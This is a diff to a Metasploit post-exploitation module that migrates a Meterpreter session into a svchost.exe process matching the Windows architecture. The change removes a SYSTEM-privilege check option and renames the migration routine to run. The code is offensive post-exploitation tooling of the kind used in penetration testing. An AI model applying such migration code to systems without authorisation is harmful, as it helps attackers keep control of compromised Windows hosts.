@@ -2,7 +2,6 @@ class MetasploitModule < Msf::Post
2
2
include Msf ::Post ::Windows ::Registry
3
3
include Msf ::Post ::File
4
4
include Msf ::Post ::Common
5
- include Msf ::Post ::Windows ::Priv
6
5
7
6
def initialize ( info = { } )
8
7
super ( update_info (
@@ -22,8 +21,7 @@ def initialize(info = {})
22
21
register_options (
23
22
[
24
23
OptString . new ( 'EXE' , [ true , 'The executable to start and migrate into' , 'C:\windows\sysnative\svchost.exe' ] ) ,
25
- OptBool . new ( 'FALLBACK' , [ true , 'If the selected migration executable does not exist fallback to a sysnative file' , true ] ) ,
26
- OptBool . new ( 'IGNORE_SYSTEM' , [ true , 'Migrate even if you have system priveleges' , true ] )
24
+ OptBool . new ( 'FALLBACK' , [ true , 'If the selected migration executable does not exist fallback to a sysnative file' , true ] )
27
25
] ,
28
26
self . class
29
27
)
@@ -50,7 +48,7 @@ def get_windows_loc
50
48
return windir
51
49
end
52
50
53
- def do_migrate
51
+ def run
54
52
if check_32_on_64
55
53
print_status ( 'The meterpreter is not the same architecture as the OS! Upgrading!' )
56
54
newproc = datastore [ 'EXE' ]
@@ -88,20 +86,4 @@ def do_migrate
88
86
print_good ( 'The meterpreter is the same architecture as the OS!' )
89
87
end
90
88
end
91
-
92
-
93
-
94
- def run
95
- if datastore [ 'IGNORE_SYSTEM' ]
96
- do_migrate
97
- elsif !datastore [ 'IGNORE_SYSTEM' ] && is_system?
98
- print_error ( 'You are running as SYSTEM! Aborting migration.' )
99
- elsif datastore [ 'IGNORE_SYSTEM' ] && is_system?
100
- print_error ( 'You are running as SYSTEM! You will lose your priveleges!' )
101
- do_migrate
102
- elsif !datastore [ 'IGNORE_SYSTEM' ] && !is_system?
103
- print_status ( 'You\'re not running as SYSTEM. Moving on...' )
104
- do_migrate
105
- end
106
- end
107
89
end
0 commit comments